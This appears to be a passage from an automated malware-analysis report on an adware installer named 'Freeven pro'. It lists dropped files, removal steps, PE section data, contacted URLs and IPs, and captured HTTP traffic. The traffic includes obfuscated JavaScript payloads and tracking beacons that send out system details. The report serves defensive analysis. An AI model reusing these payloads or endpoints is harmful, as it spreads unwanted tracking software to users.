   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\21.js (3 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\40.js (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\91.js (5520 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\242.js (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\177.js (784 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\4.js (3312 bytes)
   %WinDir%\Tasks\875f2efa-2a31-4c0f-be39-9293cb48929c-2.job (70 bytes)
   %WinDir%\Tasks\875f2efa-2a31-4c0f-be39-9293cb48929c-1.job (70 bytes)
   %Program Files%\Freeven pro\54248.xpi (2321 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\207.js (1 bytes)
   %WinDir%\Tasks\temp_875f2efa-2a31-4c0f-be39-9293cb48929c-2.job (138 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\43.js (4 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\191.js (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\78.js (3 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\2.js (63 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins.json (12 bytes)
   %WinDir%\Tasks\875f2efa-2a31-4c0f-be39-9293cb48929c-5.job (70 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\InstallerUtils2.dll (3312 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\36.js (784 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\184.js (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\37.js (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\45.js (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\41.js (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\103.js (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\35.js (9 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\244.js (501 bytes)
   %Program Files%\Freeven pro\Freeven pro.ico (9 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\inetc.dll (784 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\3.js (63 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\InstallerUtils.dll (25776 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\183.js (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\462018 (741774 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\17.js (2392 bytes)
   %Program Files%\Freeven pro\Freeven pro-bho.dll (3073 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsx5.tmp (288023 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\102.js (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\94.js (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\update.json (39 bytes)
   %WinDir%\system.ini (72 bytes)
   %Program Files%\Adobe\Reader 9.0\Reader\READER_SL.EXE (432 bytes)
   %Program Files%\Common Files\Java\Java Update\jusched.exe (856 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn3.tmp\Jdwqkklr.tmp (217971 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn3.tmp\Qvalysaly.exe (861462 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn3.tmp\WrapperUtils.dll (2392 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\rmlukm.exe (601 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nss2.tmp (232535 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\00125F9D_Rar\%original file name%.exe (53142 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn3.tmp\System.dll (11 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn3.tmp\StdUtils.dll (14 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\220[1].js (19033 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\273[1].js (903 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\plugins[1].json (4153 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\375[1].js (679 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\195[1].js (408 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\set_campaign_id_m[1].js (508 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\manifest[1].xml (25 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\102[1].js (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\380[1].js (25 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\200[1].js (807 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\9[1].js (73 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\233[1].js (867 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\184[1].js (25 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\7[1].js (683 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\391[1].js (795 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\193[1].js (867 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\jquery-1_7_1_min[1].js (44457 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\246[1].js (769 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\253[1].js (735 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\354[1].js (60025 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\242[1].js (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\334[1].js (967 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\376[1].js (1417 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\223[1].js (823 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\288[1].js (963 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\app_code[1].js (3 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\180[1].js (25 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\42[1].js (769 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\281[1].js (455 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\390[1].js (823 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\91[1].js (87921 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\230[1].js (867 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\221[1].js (413 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\345[1].js (645 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\260[1].js (823 bytes)

4. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
5. Find and delete all copies of the worm's file together with "autorun.inf" scripts on removable drives.
   
6. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name: Tgeslexscrg
Product Name: Nwbgt
Product Version:
Legal Copyright: Axcqtl
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 23.25.18.22
File Description: Pfusuetjjzgt
Comments:
Language: English (United States)

Company Name: TgeslexscrgProduct Name: NwbgtProduct Version: Legal Copyright: AxcqtlLegal Trademarks: Original Filename: Internal Name: File Version: 23.25.18.22File Description: PfusuetjjzgtComments: Language: English (United States)

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	34880	35328	4.15051	bb4ba76c16dfeef0912cc68f9edb1285
.data	40960	140	512	0.818128	a5a710a52d844b19513b2cab5693dbc3
.rdata	45056	9108	9216	4.0908	004265d16597098398ce8e06897dcd29
.bss	57344	252880	0	0	d41d8cd98f00b204e9800998ecf8427e
.idata	311296	4868	5120	3.64756	20f692042b54593897a705a64d67ce50
.ndata	319488	286720	8192	0	0829f71740aab1ab98b33eae21dee122
.rsrc	606208	17184	17408	4.12231	a7421e5fac485204160f3e6381e28702
.odata	626688	77824	77824	5.54121	708eea8efbddd2beddadb0a08e9db490

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://cds.d5k9g9i8.hwcdn.net/installer_updates/001360/update.json
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=started&browser=ie&browserver=6&ver=1_34_05_04&bic=11992E1999324ACFB8E0C19B718E3265IE&app=54248&appver=0&verifier=283fbbb93af62851d4ee04659eadac21&srcid=001360&version_date=07-05-14&subid=0&zdata=0&xpiver=0_94&crxver=1_26_22&default=ie&chver=na&ffver=na&iever=6&silent=1&os=XP32&admin=1&type=17179881473&asw=0&asw2=8704&procstarttime=1427668122&procruntime=6&rnd=1427668128
hxxp://cds.d5k9g9i8.hwcdn.net/monetization.gif?event=3&ibic=11992E1999324ACFB8E0C19B718E3265IE&verifier=283fbbb93af62851d4ee04659eadac21&campaign=001360&app=54248&bhover=1_34_05_04&xpiver=0_94&crxver=1_26_22&os=XP32&defbro=ie&chver=na&ffver=na&iever=6&starttime=1427668122&asw=00000000000000000000000000000000&asw2=00000000000000000010001000000000&browser=ie,de
hxxp://s3-website-us-east-1.amazonaws.com/stats.gif?action=daily&app=54248&bic=11992E1999324ACFB8E0C19B718E3265IE&ibic=11992E1999324ACFB8E0C19B718E3265IE&verifier=283fbbb93af62851d4ee04659eadac21&ver=1_34_05_04&installtime=1427668122&os=XP32&browser=ie&browserver=6&ffver=X&chromever=X&srcid=001360&campaign=001360&subid=default_subid&zdata=default_zdata&ieprofiles=1&chprofiles=0&ffprofiles=0&runfrom=installer&appver=22&bgver=1&pluginsver=17&curtime=1427668122&lifetime=0&rnd=6720
hxxp://cds.d5k9g9i8.hwcdn.net/plugin/apps/54248/manifest/1_34_05_04/ie6/manifest.xml?ver=22&rnd=677
hxxp://cds.d5k9g9i8.hwcdn.net/plugin/apps/54248/js/na/ie/app_code.js?ver=111&rnd=2816
hxxp://cds.d5k9g9i8.hwcdn.net/plugin/apps/54248/plugins/na/ie/plugins.json?ver=103&rnd=9831
hxxp://cds.d5k9g9i8.hwcdn.net/plugins/mins/42.js?ver=10&rnd=41
hxxp://cds.d5k9g9i8.hwcdn.net/plugins/mins/391.js?ver=1&rnd=41
hxxp://cds.d5k9g9i8.hwcdn.net/plugins/mins/375.js?ver=1&rnd=41
hxxp://cds.d5k9g9i8.hwcdn.net/plugins/mins/390.js?ver=1&rnd=41
hxxp://cds.d5k9g9i8.hwcdn.net/plugins/mins/380.js?ver=1&rnd=41
hxxp://cds.d5k9g9i8.hwcdn.net/plugins/mins/281.js?ver=3&rnd=41
hxxp://cds.d5k9g9i8.hwcdn.net/plugins/mins/334.js?ver=1&rnd=41
hxxp://cds.d5k9g9i8.hwcdn.net/plugins/mins/273.js?ver=6&rnd=41
hxxp://cds.d5k9g9i8.hwcdn.net/plugins/mins/260.js?ver=4&rnd=41
hxxp://cds.d5k9g9i8.hwcdn.net/plugins/mins/288.js?ver=4&rnd=41
hxxp://cds.d5k9g9i8.hwcdn.net/plugins/mins/242.js?ver=4&rnd=8467
hxxp://cds.d5k9g9i8.hwcdn.net/plugins/mins/230.js?ver=7&rnd=8467
hxxp://cds.d5k9g9i8.hwcdn.net/plugins/mins/233.js?ver=7&rnd=8467
hxxp://cds.d5k9g9i8.hwcdn.net/plugins/javascripts/monetization/geo/set_campaign_id_m.js?ver=5&rnd=8467
hxxp://cds.d5k9g9i8.hwcdn.net/plugins/mins/223.js?ver=9&rnd=8467
hxxp://cds.d5k9g9i8.hwcdn.net/plugins/mins/221.js?ver=4&rnd=8467
hxxp://cds.d5k9g9i8.hwcdn.net/plugins/mins/200.js?ver=4&rnd=8467
hxxp://cds.d5k9g9i8.hwcdn.net/plugins/mins/195.js?ver=28&rnd=8467
hxxp://cds.d5k9g9i8.hwcdn.net/plugins/mins/220.js?ver=38&rnd=8467
hxxp://cds.d5k9g9i8.hwcdn.net/plugins/mins/7.js?ver=2&rnd=6334
hxxp://cds.d5k9g9i8.hwcdn.net/plugins/mins/9.js?ver=3&rnd=8467
hxxp://cds.d5k9g9i8.hwcdn.net/plugins/mins/193.js?ver=9&rnd=6334
hxxp://cds.d5k9g9i8.hwcdn.net/plugins/mins/184.js?ver=11&rnd=6334
hxxp://cds.d5k9g9i8.hwcdn.net/plugins/mins/180.js?ver=12&rnd=6334
hxxp://cds.d5k9g9i8.hwcdn.net/plugins/mins/102.js?ver=15&rnd=6334
hxxp://cds.d5k9g9i8.hwcdn.net/plugins/mins/91.js?ver=135&rnd=6334
hxxp://cds.d5k9g9i8.hwcdn.net/plugins/mins/376.js?ver=3&rnd=6334
hxxp://cds.d5k9g9i8.hwcdn.net/plugins/mins/354.js?ver=2&rnd=6334
hxxp://cds.d5k9g9i8.hwcdn.net/plugins/mins/345.js?ver=13&rnd=6334
hxxp://cds.d5k9g9i8.hwcdn.net/plugins/mins/253.js?ver=2&rnd=6500
hxxp://cds.d5k9g9i8.hwcdn.net/plugins/mins/246.js?ver=17&rnd=6334
hxxp://cds.d5k9g9i8.hwcdn.net/plugins/javascripts/jquery-1_7_1_min.js?ver=5&rnd=6500
hxxp://s3-website-us-east-1.amazonaws.com/apps.gif?action=update&app=54248&bic=11992E1999324ACFB8E0C19B718E3265IE&verifier=283fbbb93af62851d4ee04659eadac21&ver=1_34_05_04&installtime=1427668122&os=XP32&browser=ie&browserver=6&ffver=X&chromever=X&srcid=001360&subid=0&zdata=0&appver=111&bgver=1&pluginsver=103&curtime=1427668154&lifetime=32&oldappver=22&oldbgver=1&oldpluginsver=17&rnd=270
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=finished&browser=ie&browserver=6&ver=1_34_05_04&bic=11992E1999324ACFB8E0C19B718E3265IE&app=54248&appver=111&verifier=283fbbb93af62851d4ee04659eadac21&srcid=001360&version_date=07-05-14&subid=0&zdata=0&xpiver=0_94&crxver=1_26_22&default=ie&chver=na&ffver=na&iever=6&silent=1&os=XP32&admin=1&type=17179881473&asw=0&asw2=8704&ieprofiles=1&chprofiles=na&ffprofiles=na&procstarttime=1427668122&procruntime=41&rnd=1427668163
hxxp://js.ourstatsstaticstack.com/plugins/mins/242.js?ver=4&rnd=8467	69.16.175.10
hxxp://js.ourstatsstaticstack.com/plugins/mins/260.js?ver=4&rnd=41	69.16.175.10
hxxp://js.ourstatsstaticstack.com/plugins/mins/200.js?ver=4&rnd=8467	69.16.175.10
hxxp://js.ourstatsstaticstack.com/plugins/mins/375.js?ver=1&rnd=41	69.16.175.10
hxxp://js.ourstatsstaticstack.com/plugins/mins/246.js?ver=17&rnd=6334	69.16.175.10
hxxp://js.ourstatsstaticstack.com/plugins/mins/334.js?ver=1&rnd=41	69.16.175.10
hxxp://js.ourstatsstaticstack.com/plugin/apps/54248/plugins/na/ie/plugins.json?ver=103&rnd=9831	69.16.175.10
hxxp://js.ourstatsstaticstack.com/plugins/mins/42.js?ver=10&rnd=41	69.16.175.10
hxxp://js.ourstatsstaticstack.com/plugins/mins/220.js?ver=38&rnd=8467	69.16.175.10
hxxp://js.ourstatsstaticstack.com/plugins/mins/195.js?ver=28&rnd=8467	69.16.175.10
hxxp://js.ourstatsstaticstack.com/plugins/javascripts/jquery-1_7_1_min.js?ver=5&rnd=6500	69.16.175.10
hxxp://js.ourstatsstaticstack.com/plugins/mins/354.js?ver=2&rnd=6334	69.16.175.10
hxxp://js.ourstatsstaticstack.com/plugins/mins/391.js?ver=1&rnd=41	69.16.175.10
hxxp://js.ourstatsstaticstack.com/plugins/mins/376.js?ver=3&rnd=6334	69.16.175.10
hxxp://js.ourstatsstaticstack.com/plugins/mins/184.js?ver=11&rnd=6334	69.16.175.10
hxxp://js.ourstatsstaticstack.com/plugins/mins/281.js?ver=3&rnd=41	69.16.175.10
hxxp://js.ourstatsstaticstack.com/plugins/mins/180.js?ver=12&rnd=6334	69.16.175.10
hxxp://js.ourstatsstaticstack.com/plugins/javascripts/monetization/geo/set_campaign_id_m.js?ver=5&rnd=8467	69.16.175.10
hxxp://js.ourstatsstaticstack.com/plugins/mins/390.js?ver=1&rnd=41	69.16.175.10
hxxp://stats.clientstaticserv.com/installer.gif?action=started&browser=ie&browserver=6&ver=1_34_05_04&bic=11992E1999324ACFB8E0C19B718E3265IE&app=54248&appver=0&verifier=283fbbb93af62851d4ee04659eadac21&srcid=001360&version_date=07-05-14&subid=0&zdata=0&xpiver=0_94&crxver=1_26_22&default=ie&chver=na&ffver=na&iever=6&silent=1&os=XP32&admin=1&type=17179881473&asw=0&asw2=8704&procstarttime=1427668122&procruntime=6&rnd=1427668128	54.231.2.124
hxxp://js.ourstatsstaticstack.com/plugins/mins/273.js?ver=6&rnd=41	69.16.175.10
hxxp://js.ourstatsstaticstack.com/plugins/mins/9.js?ver=3&rnd=8467	69.16.175.10
hxxp://js.ourstatsstaticstack.com/plugins/mins/193.js?ver=9&rnd=6334	69.16.175.10
hxxp://update.clientstaticserv.com/installer_updates/001360/update.json	69.16.175.42
hxxp://js.ourstatsstaticstack.com/plugin/apps/54248/js/na/ie/app_code.js?ver=111&rnd=2816	69.16.175.10
hxxp://js.ourstatsstaticstack.com/plugins/mins/7.js?ver=2&rnd=6334	69.16.175.10
hxxp://js.ourstatsstaticstack.com/plugins/mins/223.js?ver=9&rnd=8467	69.16.175.10
hxxp://stats.clientstaticserv.com/stats.gif?action=daily&app=54248&bic=11992E1999324ACFB8E0C19B718E3265IE&ibic=11992E1999324ACFB8E0C19B718E3265IE&verifier=283fbbb93af62851d4ee04659eadac21&ver=1_34_05_04&installtime=1427668122&os=XP32&browser=ie&browserver=6&ffver=X&chromever=X&srcid=001360&campaign=001360&subid=default_subid&zdata=default_zdata&ieprofiles=1&chprofiles=0&ffprofiles=0&runfrom=installer&appver=22&bgver=1&pluginsver=17&curtime=1427668122&lifetime=0&rnd=6720	54.231.2.124
hxxp://js.ourstatsstaticstack.com/plugins/mins/221.js?ver=4&rnd=8467	69.16.175.10
hxxp://js.ourstatsstaticstack.com/plugins/mins/380.js?ver=1&rnd=41	69.16.175.10
hxxp://js.ourstatsstaticstack.com/plugins/mins/91.js?ver=135&rnd=6334	69.16.175.10
hxxp://stats.clientstaticserv.com/installer.gif?action=finished&browser=ie&browserver=6&ver=1_34_05_04&bic=11992E1999324ACFB8E0C19B718E3265IE&app=54248&appver=111&verifier=283fbbb93af62851d4ee04659eadac21&srcid=001360&version_date=07-05-14&subid=0&zdata=0&xpiver=0_94&crxver=1_26_22&default=ie&chver=na&ffver=na&iever=6&silent=1&os=XP32&admin=1&type=17179881473&asw=0&asw2=8704&ieprofiles=1&chprofiles=na&ffprofiles=na&procstarttime=1427668122&procruntime=41&rnd=1427668163	54.231.2.124
hxxp://stats.clientstaticserv.com/apps.gif?action=update&app=54248&bic=11992E1999324ACFB8E0C19B718E3265IE&verifier=283fbbb93af62851d4ee04659eadac21&ver=1_34_05_04&installtime=1427668122&os=XP32&browser=ie&browserver=6&ffver=X&chromever=X&srcid=001360&subid=0&zdata=0&appver=111&bgver=1&pluginsver=103&curtime=1427668154&lifetime=32&oldappver=22&oldbgver=1&oldpluginsver=17&rnd=270	54.231.2.124
hxxp://js.ourstatsstaticstack.com/plugins/mins/345.js?ver=13&rnd=6334	69.16.175.10
hxxp://js.ourstatsstaticstack.com/plugins/mins/288.js?ver=4&rnd=41	69.16.175.10
hxxp://js.ourstatsstaticstack.com/plugins/mins/230.js?ver=7&rnd=8467	69.16.175.10
hxxp://js.clientstaticserv.com/plugin/apps/54248/manifest/1_34_05_04/ie6/manifest.xml?ver=22&rnd=677	69.16.175.10
hxxp://logs.clientstaticserv.com/monetization.gif?event=3&ibic=11992E1999324ACFB8E0C19B718E3265IE&verifier=283fbbb93af62851d4ee04659eadac21&campaign=001360&app=54248&bhover=1_34_05_04&xpiver=0_94&crxver=1_26_22&os=XP32&defbro=ie&chver=na&ffver=na&iever=6&starttime=1427668122&asw=00000000000000000000000000000000&asw2=00000000000000000010001000000000&browser=ie,de	69.16.175.42
hxxp://js.ourstatsstaticstack.com/plugins/mins/253.js?ver=2&rnd=6500	69.16.175.10
hxxp://js.ourstatsstaticstack.com/plugins/mins/102.js?ver=15&rnd=6334	69.16.175.10
hxxp://js.ourstatsstaticstack.com/plugins/mins/233.js?ver=7&rnd=8467	69.16.175.10

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /monetization.gif?event=3&ibic=11992E1999324ACFB8E0C19B718E3265IE&verifier=283fbbb93af62851d4ee04659eadac21&campaign=001360&app=54248&bhover=1_34_05_04&xpiver=0_94&crxver=1_26_22&os=XP32&defbro=ie&chver=na&ffver=na&iever=6&starttime=1427668122&asw=00000000000000000000000000000000&asw2=00000000000000000010001000000000&browser=ie,de HTTP/1.1

Host: logs.clientstaticserv.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 29 Mar 2015 22:28:49 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1389114507"

Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT

Cache-Control: max-age=86400

Content-Length: 35

Content-Type: image/gif

X-HW: 1427668129.dop004.fr7.t,1427668129.cds021.fr7.c

GIF89a.............,...........D..;..

GET /stats.gif?action=daily&app=54248&bic=11992E1999324ACFB8E0C19B718E3265IE&ibic=11992E1999324ACFB8E0C19B718E3265IE&verifier=283fbbb93af62851d4ee04659eadac21&ver=1_34_05_04&installtime=1427668122&os=XP32&browser=ie&browserver=6&ffver=X&chromever=X&srcid=001360&campaign=001360&subid=default_subid&zdata=default_zdata&ieprofiles=1&chprofiles=0&ffprofiles=0&runfrom=installer&appver=22&bgver=1&pluginsver=17&curtime=1427668122&lifetime=0&rnd=6720 HTTP/1.1

Accept: */*

Host: stats.clientstaticserv.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

x-amz-id-2: bv7R7GvoHtkT6tZwDHTn5aGvv82bpoRuZfuwoQE7Y9eihDblVFiDgrF6TjNV4bMySYPxeldlZck=

x-amz-request-id: A00E4ABD3823A6B0

Date: Sun, 29 Mar 2015 22:29:11 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Mon, 24 Feb 2014 23:56:43 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;..

GET /plugins/mins/375.js?ver=1&rnd=41 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.ourstatsstaticstack.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 29 Mar 2015 22:29:12 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1423049332"

Last-Modified: Wed, 04 Feb 2015 11:28:52 GMT

Cache-Control: max-age=900

Content-Length: 679

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1427668152.dop003.fr7.t,1427668152.cds023.fr7.c

if (typeof setup2 === 'function') { setup2('MDE3MDc4NDMwMzFlMDUxMzJmMWMxNjU4NGI0MTQ5MDIwNTE3MGE1NDU1NTUxODRmMDgxODE0MDExMDFkNTQxMzFmMDcwNDQ1MTIxMTFmMGM1NTEwMTAxNzBhMTkxMjExMTMxZTBlNTQxYjEyNTQwOTE5MDIxNDAwMWYxNjRjMDIxOTBlMDMzYzI1MzEzOTI4M2UzMjM4MzgzODI3M2YzYzI1M2YyOTM1MmUyNDM1MjYzZTMxMjkyZjMzM2UyMjJlMmUzYzU4NDI3MDczNTMwOTFmMWUwMTEwMmYxYzE2NTg0YjQxNDkwMjA1MTcwYTFkNDA1NTVlMDgzNDA5MDMwNjE4MDQwOTI1MTgwZjBkMDU1ZjE3MTYxZDE5MWUxZjRmMDgwNTFjNGMxOTFjMWYxODVlMGIwYTFjMTAxMDE5MWMxMzBhMDU0ZjAxMTk0ZTAwMTIwZjE0MTQxNDBkNTYwOTAzMDcwODMxMjUyNTMyMzMyNDM5MjIzMTMzMmEzZjI4MmUyNDMzM2UzNDJkM2UyYjNlMjUyMjM0MjkzNTM4MjcyNTMxNTg1NjdiNjg0OTFhMWQxNjFkMDcxNDMzMTU0MzUxNGE0MjU0NGY2NDA3', 'zzqakjqczn'); }....

GET /plugins/mins/390.js?ver=1&rnd=41 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.ourstatsstaticstack.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 29 Mar 2015 22:29:12 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1425996283"

Last-Modified: Tue, 10 Mar 2015 14:04:43 GMT

Cache-Control: max-age=900

Content-Length: 823

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1427668152.dop003.fr7.t,1427668152.cds025.fr7.c

if (typeof setup2 === 'function') { setup2('MGQ2ZDY4NWEwYzFmMTMxNTNiMDMxYTQ1NWI1ODQ2MDMxMzExMWU0YjU5NDgwMjFjMGEwODA2MDYwNjE0NWIwNjRmMTkwZjBhMGEwNDA3MTkxMjQ5MGYxZDEwNDQxNDEwMGM1ZTFlNTc1ODQwNTYwOTAyNGEzMTJlMzUzNTJlMmIzNzM5MmUyMTJiMjMyOTIyMzkyYzIxMjUyMzIwMmEyZTI1MzIyMzI3MmQyZjM4M2E0MTFkNTgwZDEyNDcxNDAyMDM1ODVjNDM0ZjUyNDcxZDFjMWY1YTNhMzEzMjI0MjgzMjJiMzYyMjIzMjAzYzJlMzczNzMxMjcyYTJhMmEyMDMxMmU1NDRiNmI3MTQ2MDMxMzExMWUwMjIzMTUwZDVhNWU0YjQ1MGQxYTA1MDYxNDViNTc0YjA4MDMwYjBkMTAxNTBmMDQ1NTA1NDUwNjBlMGYxYzE3MGUwOTFjNGEwNTAyMTE0MTAyMDMwNTRlMTA1NDUyNWY1NzBjMTQ1OTM4M2UzYjM2MjQzNDM2M2MzODMyMjIzMzI3MjEzMzMzMjAyMDM1MzMyMzNlMmIzMTI5MzgyYzJhMmUyOTQ4MGQ1NjBlMTg1ODE1MDcxNTRiNTU1MzQxNTE0ZDAyMWQxYTRjMjkzODIyMmEyYjM4MzQzNzI3MzUzMzM1M2UzOTM0M2IzODJiMmYzYzMzMzgzZTVhNDg2MTZlNDcxZTFkMDMwMDA4MTYyZDBmNDU1ZjRlNDI0ZjU3NmIwNQ==', 'vgaxdkgenq'); }....

GET /plugins/mins/281.js?ver=3&rnd=41 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.ourstatsstaticstack.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 29 Mar 2015 22:29:12 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1423758037"

Last-Modified: Thu, 12 Feb 2015 16:20:37 GMT

Cache-Control: max-age=900

Content-Length: 455

Content-Type: application/x-javascript; charset=UTF-8

X-HW: 1427668152.dop003.fr7.t,1427668152.cds021.fr7.c

